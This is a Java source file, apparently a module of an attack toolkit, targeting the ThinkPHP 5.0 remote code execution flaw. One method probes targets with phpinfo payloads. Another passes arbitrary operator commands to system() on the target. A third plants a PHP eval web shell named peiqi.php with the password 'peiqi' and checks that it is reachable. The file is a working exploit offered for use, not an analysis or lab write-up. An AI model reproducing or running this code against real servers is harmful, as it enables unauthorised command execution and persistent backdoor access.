content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  import com.agony.demo.utils.Module;
  
  import java.util.ArrayList;
  
  
  public class tp50 implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          String CheckStr = "PHP Version";
          Module m = new Module();
          String module = m.getModule(url);
          ArrayList<String> payload_urls = new ArrayList<String>() {{
              add(url + "/?s=/" + module + "/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1");
              add(url + "/?s=/" + module + "/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()");
          }};
  
          for (String payload_url : payload_urls) {
              try {
                  HttpRequest req1 = HttpRequest.get(payload_url);
                  if (req1.body().contains(CheckStr)) {
                      return new Result(true, "ThinkPHP 5.0 RCE", payload_url);
                  }
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
          return new Result(false, "ThinkPHP 5.0 RCE", "");
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          Module m = new Module();
          String module = m.getModule(url);
          try {
              String payload_url = url + "/?s=" + module + "/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=" + cmd;
              HttpRequest req = HttpRequest.get(payload_url);
              String res = req.body();
              return new Result(true, null, res);
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, null, "");
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          Module m = new Module();
          String module = m.getModule(url);
          try {
              String payload_url = url + "/?s=" + module + "/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST['peiqi'])?>' >>peiqi.php";
              int get = HttpRequest.get(payload_url).code();
              int code = HttpRequest.get(url + "/peiqi.php").code();
              if (code == 200) {
                  return new Result(true, null, url + "/peiqi.php   Pass:peiqi");
              }
          } catch (Exception e) {
              e.printStackTrace();
          }
          return new Result(false, null, null);
      }
  }
  